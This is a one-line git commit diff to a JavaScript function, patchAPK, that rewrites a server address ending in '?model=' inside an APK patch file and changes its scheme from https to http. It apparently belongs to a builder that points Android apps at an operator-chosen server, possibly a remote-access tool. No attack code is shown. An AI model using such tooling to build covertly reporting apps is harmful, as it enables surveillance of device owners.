Fixed bug

This commit is contained in:
ChrisStone07 2020-03-24 16:12:33 +05:30
parent ece0555612
commit b8c55d3c70
1 changed files with 1 additions and 1 deletions

View File

@ -23,7 +23,7 @@ function patchAPK(URI, PORT, cb) {
if (PORT < 25565) {
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
if (err) return cb('File Patch Error - READ')
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "https://" + URI + ":" + PORT);
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT);
fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
if (err) return cb('File Patch Error - WRITE')
else return cb(false)